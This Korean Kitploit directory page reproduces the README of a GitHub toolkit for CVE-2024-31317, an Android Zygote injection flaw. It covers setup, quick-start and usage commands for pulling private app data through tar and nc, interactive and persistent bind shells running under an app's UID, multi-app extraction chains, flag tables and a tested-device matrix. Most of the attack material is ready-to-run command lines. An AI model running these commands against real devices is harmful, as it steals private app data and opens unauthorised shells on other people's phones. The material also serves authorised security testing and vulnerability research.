Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/vnescape/zygote-cve-2024-31317
Android SecurityVulnerability AnalysisExploitationData ExfiltrationPenetration TestingMobile Security
GitHubvnescape/zygote-cve-2024-31317

zygote-CVE-2024-31317

CVE-2024-31317을 이용해 ADB로 비공개 앱 데이터를 추출하거나 앱의 UID로 셸을 실행하는 툴킷입니다.

저장소 보기
312개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Zygote Toolkit - CVE-2024-31317

이 툴킷은 CVE-2024-31317을 사용하여 ADB를 통해 비공개 앱 데이터를 추출하거나 앱의 UID로 셸을 실행합니다. 이 취약점은 보안 패치 수준이 2024-06-01 이하인 Android 9~14 버전에 영향을 미칩니다. 테스트된 기기의 지원 매트릭스는 아래에서 확인할 수 있습니다.

사전 요구 사항

Debian/Ubuntu (시스템 패키지)

root@kitploit:~
sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools

지속성을 위해 export 줄을 ~/.bashrc(또는 이에 상응하는 파일)에 추가하세요.

확인

root@kitploit:~
./setup.sh

빠른 시작

root@kitploit:~
# Build and install the carrier APK (auto-builds from source)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y

# Extract an app's data directory
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app

익스플로잇은 첫 실행 시 Hijack.java와 AndroidManifest.xml에서 모든 것을 빌드합니다.

사용법

root@kitploit:~
python3 cve_2024_31317.py [flags] [package]

모드

옵션

예시

root@kitploit:~
# Extraction
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube

# Check if device is vulnerable
python3 cve_2024_31317.py -d DEVICE --check-vuln

# Interactive bind shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube

# Persistent shell on port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube

# Multi-app chain
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"

# Recovery only (fix boot loop)
python3 cve_2024_31317.py -d DEVICE --recover

소스에서 빌드

모든 것이 런타임 시 소스에서 빌드됩니다. 빌드 파이프라인은 Android SDK의 javac(JDK 17+), d8, aapt, zipalign, apksigner를 사용합니다.

  • x86_64 → arm64: 도구가 네이티브로 실행되며 DEX 출력은 아키텍처에 독립적입니다
  • ARM64 → arm64: 모든 것이 네이티브로 실행됩니다(Adoptium에서 ARM64 JDK 빌드 제공)

패스코드

기기에 패스코드가 있으면 BFU(첫 잠금 해제 전, Before First Unlock) 상태로 시작됩니다. 익스플로잇은 잠금을 해제할 때까지 최대 5분 동안 sys.user.0.ce_available를 폴링합니다. 익스플로잇이 진행되는 동안에는 패스코드를 제거하는 것이 좋습니다.

테스트된 기기

† Samsung One UI 특정: ZNJECT 주입은 성공하고 -E 추출도 동작하지만 toybox nc ServerSocket 바인드 셸은 절대 열리지 않습니다. 문제의 근본 원인을 찾으려면 추가 연구가 필요합니다.

복구

hidden_api_blacklist_exemptions에 남아 있는 페이로드는 다음 부팅 시 부팅 루프를 유발할 수 있습니다. 재설정하려면 --recover를 실행하세요:

root@kitploit:~
python3 cve_2024_31317.py -d DEVICE --recover
도구 다운로드
플래그설명
-E자식 프로세스 tar | nc를 통한 앱 데이터 추출(부모 프로세스 종료 후에도 유지)
-i대화형 바인드 셸 REPL
-S PORT영구 셸(FIFO 단일 포트 프로토콜)
--recover설정 재설정, 부팅 멈춤 / Zygote 저하 복구
--setup캐리어 APK만 빌드 + 설치(주입 없음)
--list-appsUID 및 sys/user 유형과 함께 설치된 모든 패키지 나열
--check-vuln기기가 CVE-2024-31317에 취약한지 확인 후 종료
플래그설명
-o file.tar추출 tarball 출력 경로
-y / --yes확인 프롬프트 건너뛰기
--retries N대상당 최대 재시도 횟수(기본값 3)
--chain-targets "pkg1,pkg2"한 세션에서 여러 앱 추출
--chain-file file.json위와 동일, JSON 파일에서 읽기
--reboot-after추출 후 재부팅(Zygote 복원)
--reboot-every N체인 대상 N개마다 재부팅
--cold워밍업 건너뛰기; 다음 앱 실행을 위해 페이로드 저장
--port PORT바인드 셸 포트(기본값 8888)
-d SERIAL특정 기기 지정(여러 대 연결 시)
--rebuild캐리어 APK 강제 재빌드
기기AndroidAPI패치ABI-E-i-S--chain--cold--retries--recover--reboot-after--list-apps--check-vuln점수
Google Pixel 312312021-10-05arm64-v8a✅✅✅✅✅✅✅✅✅✅12/12
Samsung SM-P615 Tab S6 Lite13332024-05-01arm64-v8a✅❌†❌†✅✅❌†✅✅✅✅9/12
sdk_gphone_x86_64 (emulator)10292019-09-05x86_64✅✅✅✅✅✅✅✅✅✅12/12